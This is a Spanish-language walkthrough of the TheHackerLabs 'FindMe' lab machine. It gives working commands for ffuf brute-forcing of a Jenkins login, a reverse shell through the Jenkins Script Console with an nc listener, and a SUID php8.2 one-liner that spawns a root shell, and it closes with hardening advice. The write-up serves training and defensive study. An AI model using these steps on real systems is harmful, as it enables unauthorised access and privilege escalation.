> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/findme.md).

# FindMe

## Introduccion

En esta maquina de TheHackerLabs se compromete un servidor Linux a partir de una pista expuesta por FTP anonimo. La cadena pasa por fuerza bruta controlada contra Jenkins, ejecucion remota mediante la Script Console y una escalada de privilegios abusando de un binario `php8.2` con SUID.

El objetivo es obtener acceso inicial como `jenkins`, saltar al usuario `geralt` y terminar con una shell como `root`.

***

## Escaneo y enumeracion

La maquina muestra en el arranque la IP objetivo:

![FindMe](/files/Wt9tgVmIRkygWF1waXvk)

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sV -p- -Pn -n -sS -sC -T4 192.168.1.105
```

![Nmap](/files/fB8qaPfX4Y4f80DSZl7H)

El escaneo devuelve los siguientes servicios principales:

| Puerto   | Servicio | Version                           |
| -------- | -------- | --------------------------------- |
| 21/tcp   | FTP      | ProFTPD, acceso anonimo permitido |
| 22/tcp   | SSH      | OpenSSH 9.2p1 Debian              |
| 80/tcp   | HTTP     | Apache httpd 2.4.59               |
| 8080/tcp | HTTP     | Jetty 10.0.20 / Jenkins           |

En el puerto `21` Nmap indica que el FTP permite login anonimo y que existe un archivo llamado `ayuda.txt`.

***

## FTP anonimo

Se accede al FTP como usuario `anonymous` y se descarga el archivo:

```bash
ftp 192.168.1.105
ls
get ayuda.txt
```

![FTP anonymous](/files/y3HAxN9WcUS2eJ1kJxza)

Al leerlo aparece una pista clara:

```bash
cat ayuda.txt
```

![ayuda.txt](/files/CTDtrqXKkafwULHUgvdx)

El mensaje indica que el usuario ha perdido la contrasena del servicio Jenkins, que la password tiene 5 caracteres, empieza por `p` y termina por `a`.

***

## Generacion del diccionario

Con la pista anterior se genera un diccionario pequeno con `crunch`:

```bash
crunch 5 5 -t p@@@a -o diccionario.txt
```

![Crunch](/files/jO907b8e5fGRknVygDAJ)

El patron `p@@@a` crea todas las combinaciones de 5 caracteres que empiezan por `p` y terminan por `a`.

***

## Fuerza bruta contra Jenkins

En el puerto `8080` se encuentra Jenkins. Capturando la peticion de login se observa que el formulario envia datos a:

```
/j_spring_security_check
```

![Peticion Jenkins](/files/QSsn5Fye6U1y8CwnJBoX)

Se automatiza la prueba con `ffuf`, filtrando la respuesta de error:

```bash
ffuf -w /home/kali/diccionario.txt:PASS \
  -u "http://192.168.1.105:8080/j_spring_security_check" \
  -X POST \
  -d "j_username=geralt&j_password=PASS&from=%2F&Submit=" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Origin: http://192.168.1.105:8080" \
  -H "Referer: http://192.168.1.105:8080/login?from=%2F" \
  -H "Cookie: JSESSIONID.e296e663=node0n0ylcc0sjdpv3wip8dkdzt1331.node0" \
  -r \
  -fr "Invalid username or password" \
  -t 20
```

![ffuf Jenkins](/files/QYy0CdRfuLEbLISuMjZB)

La password encontrada es:

```
Usuario: geralt
Password: panda
```

Con estas credenciales se inicia sesion en Jenkins:

![Jenkins login](/files/TDsaUPe6qv2thxavaxFs)

***

## Ejecucion de comandos en Jenkins

Desde `Manage Jenkins` se accede a la `Script Console`, que permite ejecutar codigo Groovy en el servidor:

![Script Console](/files/SfTE5CWWBN6v4lr3VcYb)

Se genera una reverse shell en Groovy:

![Groovy reverse shell](/files/GP7eczMxXGvXtXp4lz5D)

Y se pega el payload en la consola de Jenkins:

![Payload en Jenkins](/files/YGBMhco95fMv9qNBmDSA)

Con un listener en Netcat se recibe la conexion:

```bash
nc -lvnp 4444
```

![Shell Jenkins](/files/jEa1eQycse0RjvJ1CNsl)

La shell llega como el usuario `jenkins`:

```
whoami
jenkins
```

***

## Movimiento al usuario geralt

Dentro del sistema se reutiliza la password encontrada para cambiar al usuario `geralt`:

```bash
su geralt
```

![su geralt](/files/W3w8RSfygrnPtj3QgRdL)

El usuario no tiene permisos `sudo`:

```bash
sudo -l
```

![sudo geralt](/files/8HmPi1NnwbONLOqAhj7f)

Por tanto, se continua con enumeracion local.

***

## Escalada de privilegios

Se buscan binarios SUID y otros ejecutables interesantes:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![SUID](/files/2N8qygNAtKX7qPcOufUh)

Entre los resultados aparece un binario poco habitual:

```
/usr/bin/php8.2
```

El binario `php8.2` tiene SUID, por lo que puede conservar privilegios elevados al ejecutar codigo PHP. En GTFOBins se encuentra un one-liner valido para cambiar el UID efectivo a `0` y lanzar una shell:

![GTFOBins PHP](/files/b7xSjOeweNGTBIO2ungs)

Se ejecuta:

```bash
/usr/bin/php8.2 -r 'posix_setuid(0); system("/bin/sh -i");'
```

![Root](/files/je6lKTJY7TfQeYUdjlc9)

El resultado es una shell como `root`:

```
whoami
root
```

***

## Conclusion

La maquina se compromete encadenando fallos sencillos pero muy efectivos:

* FTP anonimo habilitado
* Archivo de ayuda con informacion sensible sobre la password
* Contrasena debil de Jenkins
* Acceso a la Script Console de Jenkins
* Reutilizacion de credenciales para el usuario local `geralt`
* Binario `php8.2` con SUID para escalar a `root`

### Puntos clave

| Fase               | Tecnica                   | Resultado                            |
| ------------------ | ------------------------- | ------------------------------------ |
| Reconocimiento     | Nmap                      | FTP, SSH, Apache y Jenkins expuestos |
| Enumeracion        | FTP anonimo               | Descarga de `ayuda.txt`              |
| Credenciales       | Crunch + ffuf             | Password `panda` para `geralt`       |
| Acceso inicial     | Jenkins Script Console    | Shell como `jenkins`                 |
| Movimiento lateral | Reutilizacion de password | Shell como `geralt`                  |
| Escalada           | PHP con SUID              | Shell como `root`                    |

### Recomendaciones

* Deshabilitar el acceso anonimo por FTP
* Evitar pistas o informacion sensible en archivos publicos
* Aplicar politicas de contrasenas robustas
* Restringir el acceso administrativo a Jenkins
* Deshabilitar o limitar la Script Console cuando no sea necesaria
* Evitar reutilizacion de credenciales entre servicios y usuarios locales
* Revisar binarios SUID innecesarios con `find / -perm -4000 -type f 2>/dev/null`
* Eliminar el bit SUID de binarios que no lo necesiten


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/findme.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
